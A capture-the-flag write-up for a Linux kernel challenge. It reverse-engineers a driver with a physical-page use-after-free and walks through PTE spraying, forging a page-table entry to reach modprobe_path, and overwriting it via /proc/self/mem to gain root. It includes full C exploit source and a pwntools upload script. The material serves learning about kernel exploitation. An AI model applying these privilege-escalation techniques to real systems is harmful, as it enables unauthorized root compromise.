TL;DR
Physical page UAF via persistent mmap → spray to reallocate the page as a PTE → forge a PTE to the physical page of modprobe_path → overwrite via /proc/self/mem → trigger modprobe → root.
Challenge Files: A .tar.gz archive containing:
tar -ztvf phantom.gz
-rw-r--r-- root/root 1306874 2026-02-14 08:00 initramfs.cpio.gz
-rw-r--r-- root/root 12430112 2026-02-14 04:11 bzImage
-rw-r--r-- root/root 8848 2026-02-13 22:24 phantom.ko
-rwxr-xr-x root/root 251 2026-02-13 06:39 run.sh
-rw-r--r-- root/root 145 2026-02-13 22:24 interface.h
Note: This writeup focuses on the physical page UAF, PTE reallocation, and the overwrite of
modprobe_path.
Challenge Overview
The challenge provides a Linux driver named phantom, exposed via /dev/phantom. The goal is to obtain a local privilege escalation (LPE) to root.
The key idea is direct physical memory manipulation through a bug in the driver’s page management.
Binary Protections
- SMEP — Prevents kernel execution of userland code.
- SMAP — Prevents kernel access to userland data.
- KPTI — User/kernel page table isolation (likely enabled).
- KASLR — Disabled: the kernel isn’t built with KASLR support, even if
run.shtries to enable it.
Reverse Engineering the Driver
Static analysis of the .ko module reveals four main functions corresponding to operations on /dev/phantom.
Data structure
The driver uses a global variable g_obj pointing to a dynamically allocated structure:
struct phantom_obj {
uint64_t *page_addr; // Virtual address of the allocated page
uint64_t unk1;
uint32_t freed_flag; // Anti-double-free flag (offset 0x10)
};
IOCTL 0x133701 — Allocation
This command initializes the vulnerable object:
- Allocates a control structure via
kmalloc. - Allocates a full physical page (4,096 bytes) via
alloc_pages(GFP_KERNEL, 0). - Stores the page address in
g_obj. - Fills the page with
0x41('A').
Note:
alloc_pagesgoes through the Buddy Allocator (low-level allocator), unlikekmallocwhich uses the Slab Allocator.
phantom_mmap — Userland mapping
Critical function. It maps the allocated physical page directly into userspace:
- Retrieves the physical address of the page stored in
g_obj. - Uses
remap_pfn_rangeto create a PTE entry in the process page table.
Consequence: the user gets a pointer (ptr) to read/write directly into that physical page.
IOCTL 0x133702 — Free (vulnerability)
if (g_obj && g_obj->freed_flag == 0) {
void *page_addr = g_obj->page_addr;
if (page_addr) {
__free_pages(page_addr, 0); // Returns the page to the Buddy Allocator
}
g_obj->freed_flag = 1;
}
The bug: the driver calls __free_pages, telling the kernel the page is free and reusable, but it does not remove the user mapping created by mmap.
Result: Physical Page Use-After-Free. The userland pointer ptr still points to the same physical address while the kernel considers that RAM free. If the kernel reuses the page for a sensitive structure (page tables, credentials, code…), we can read and modify it in real time.
Exploitation Strategy
Since the page is returned to the Buddy Allocator, we must force the kernel to reallocate that exact page to hold a useful object.
Target choice: Page Tables (PTE)
Initial attempts with the Slab Allocator (e.g., pipe_buffer) were unstable because slabs split pages. The ideal target for a physical page UAF is a Page Table Entry (PTE):
- Page tables are allocated in full pages (4,096 bytes).
- They are allocated directly by the Buddy Allocator.
- Controlling a PTE = controlling virtual → physical address translation.
Plan
- Setup — Allocate the vulnerable page and map it via
mmap. - Trigger UAF — Call IOCTL
0x133702. The mapping persists. - PTE Spray — Perform a large number of
mmap()calls in userland. The kernel must allocate new PTEs and will statistically reuse our freed page. - Scan & Identification — Read the page via the dangling pointer. Values like
0x...067(flags Present | RW | User) confirm PTE reallocation. - Arbitrary R/W primitive — Writing a physical address
Xinto the forged PTE makes the corresponding virtual address point toX. This yields arbitrary read/write over all RAM.
Technical Obstacles
Computing the target physical address
To forge the fake PTE, we need the physical address of modprobe_path, not its kernel virtual address.
| Attempt | Method | Result |
|---|---|---|
| 1 | Standard offset (virt - 0xffff888000000000) |
Failed |
| 2 | Physical base at 16 MB (0x1000000) |
Failed |
| 3 | Analyze /proc/iomem + /proc/kallsyms |
Success |
Final computation:
- Virtual address:
0xffffffff82b3f5c0 - Kernel base:
0xffffffff80000000 - Physical address:
0x02b3f5c0
TLB stale (hardware cache)
After modifying the PTE in RAM via the UAF, the CPU does not see the change immediately. The TLB (Translation Lookaside Buffer) keeps the old translation cached:
“Virtual page X → Physical page Y” remains cached even after rewriting the PTE.
Copy-on-Write (CoW) with MAP_PRIVATE
To bypass the TLB, a fork() was attempted (the child inherits a fresh view). However, with MAP_PRIVATE:
- The child sees the modified PTE.
- The child attempts a write (
strcpy). - The kernel detects CoW → copies the page to a new physical page.
- The write lands in the copy.
modprobe_pathstays intact.
Solution: /proc/self/mem
The /proc/self/mem interface bypasses both problems:
- TLB bypass:
pread/pwriteon/proc/self/memdo not use the MMU/TLB. The kernel performs a software page walk and reads the modified PTE directly from RAM. - CoW bypass: with
MAP_SHARED+pwrite, the write targets the mapped physical page directly, without triggering duplication.
Final Exploit
Step 1 — Payload preparation
Create a /tmp/x script that will be executed as root by modprobe:
#!/bin/sh
/bin/cp /flag /tmp/flag
/bin/chmod 777 /tmp/flag
Create a /tmp/dummy file with an invalid ELF header (0xffffffff) to force the kernel to call modprobe.
Step 2 — UAF & spray
- Allocate the page via IOCTL
0x133701. - Map the page via
mmap. - Free the page via IOCTL
0x133702. - Spray ~20,000 pages with
mmap(MAP_SHARED)to force reuse.
Step 3 — PTE hijack
Scan the UAF page. As soon as a valid PTE entry is detected, replace it with:
0x02b3f000 | 0x67
This is the physical address of the page containing modprobe_path with flags Present | RW | User.
Step 4 — Overwrite via /proc/self/mem
Scan the sprayed virtual pages via pread on /proc/self/mem. As soon as the string /sbin/modprobe is read, overwrite it with /tmp/x\x00 using pwrite.
Step 5 — Trigger
Execute /tmp/dummy. The kernel fails to parse it, calls request_module, reads modprobe_path (now /tmp/x), and executes our script as root.
Unfortunately, I solved the challenge about 1 hour after the CTF ended, so I got the flag but couldn’t submit it in time. I still learned a lot about physical vs. virtual addresses, PTEs, and related concepts.
Flag: 0xfun{r34l_k3rn3l_h4ck3rs_d0nt_unzip}
Sending the exploit
Here is how to send the exploit:
from pwn import *
import os
import base64
import time
if __name__ == "__main__":
log.info("Compiling exploit...")
os.system("musl-gcc -static -o exploit/exploit exploit/exploit.c -no-pie")
if args.REMOTE:
io = remote("chall.0xfun.org", XXXXX)
else:
io = process("./run.sh")
log.info("Waiting for the VM to start...")
with open("exploit/exploit", "rb") as f:
exploit_raw = f.read()
exploit_b64 = base64.b32encode(exploit_raw).decode()
io.sendlineafter(b'$', b'cd /tmp')
progress = 0
N = 512
total_len = len(exploit_b64)
log.info(f"Sending exploit (total: {hex(total_len)} bytes)...")
prog = log.progress("Sending exploit")
io.sendlineafter(b'$', b'rm -f exp.b32 exp')
for i in range(0, total_len, N):
chunk = exploit_b64[i:i+N]
io.sendlineafter(b'$', f'echo -n "{chunk}" >> exp.b32'.encode())
progress += len(chunk)
prog.status(f"{hex(progress)} / {hex(total_len)} ({round(progress*100/total_len, 2)}%)")
log.info("Decoding and running...")
io.sendlineafter(b'$', b'base32 -d exp.b32 > exp')
io.sendlineafter(b'$', b'chmod +x ./exp')
io.interactive()
Exploit Source Code
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#define PHANTOM_ALLOC 0x133701
#define PHANTOM_FREE 0x133702
#define TARGET_PHYS_ADDR 0x2b3f5c0 // Physical address of modprobe_path
#define PAGE_SIZE 0x1000
#define SPRAY_PAGES 20000
uint64_t *uaf_page;
void *spray_start;
uint64_t *pte_entry = NULL;
void prepare_payload() {
printf("[*] Preparing payload /tmp/x...\n");
system("echo '#!/bin/sh' > /tmp/x");
system("echo '/bin/cat /flag > /tmp/flag' >> /tmp/x");
system("echo '/bin/chmod 777 /tmp/flag' >> /tmp/x");
system("echo '/bin/dmesg | /bin/tail -n 1 > /tmp/pwn_success' >> /tmp/x");
system("chmod +x /tmp/x");
// Invalid ELF header to force a modprobe call
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
}
int main() {
prepare_payload();
int fd = open("/dev/phantom", O_RDWR);
if (fd < 0) { perror("[-] open phantom"); return 1; }
// 1. Open /proc/self/mem to bypass the TLB
int mem_fd = open("/proc/self/mem", O_RDWR);
if (mem_fd < 0) { perror("[-] open mem"); return 1; }
// 2. Setup UAF: allocation, mapping, then free
printf("[*] Allocating and freeing page...\n");
ioctl(fd, PHANTOM_ALLOC);
uaf_page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
memset(uaf_page, 0x41, PAGE_SIZE);
ioctl(fd, PHANTOM_FREE);
// 3. PTE spray with MAP_SHARED (avoids CoW)
printf("[*] Spraying memory...\n");
spray_start = mmap(NULL, SPRAY_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
for (uint64_t i = 0; i < SPRAY_PAGES; i += 1)
*((volatile char *)spray_start + (i * PAGE_SIZE)) = 'A';
// 4. Detect the PTE in the UAF page
int pte_index = -1;
for (int i = 0; i < 512; i++) {
if (uaf_page[i] != 0x4141414141414141 && (uaf_page[i] & 0x1)) {
printf("[+] PTE caught at index %d: 0x%lx\n", i, uaf_page[i]);
pte_index = i;
pte_entry = &uaf_page[i];
break;
}
}
if (pte_index == -1) { printf("[-] Spray failed. Retry.\n"); return 1; }
// 5. Forge the PTE to point to modprobe_path
uint64_t target_phys = TARGET_PHYS_ADDR;
uint64_t target_page = target_phys & ~0xFFF;
uint64_t page_offset = target_phys & 0xFFF;
printf("[*] Targeting Physical Address: 0x%lx (Page: 0x%lx, Offset: 0x%lx)\n",
target_phys, target_page, page_offset);
*pte_entry = target_page | 0x67; // Present | RW | User | Accessed | Dirty
// 6. Scan & overwrite via /proc/self/mem (bypass TLB + CoW)
printf("[*] Scanning via /proc/self/mem...\n");
char buf[32];
for (uint64_t i = 0; i < SPRAY_PAGES; i++) {
uint64_t virt_addr = (uint64_t)spray_start + (i * PAGE_SIZE);
if (pread(mem_fd, buf, 14, virt_addr + page_offset) == 14) {
if (memcmp(buf, "/sbin/modprobe", 14) == 0) {
printf("[!] Found '/sbin/modprobe' at virt addr 0x%lx\n", virt_addr);
printf("[!] Overwriting with '/tmp/x' via /proc/self/mem...\n");
pwrite(mem_fd, "/tmp/x\x00", 7, virt_addr + page_offset);
printf("[!] Triggering exploit...\n");
system("/tmp/dummy");
printf("\n[+] Waiting for execution...\n");
sleep(2);
printf("[+] Checking flag:\n");
system("cat /tmp/flag");
return 0;
}
}
}
printf("[-] String not found via /proc scan. Check physical address.\n");
return 1;
}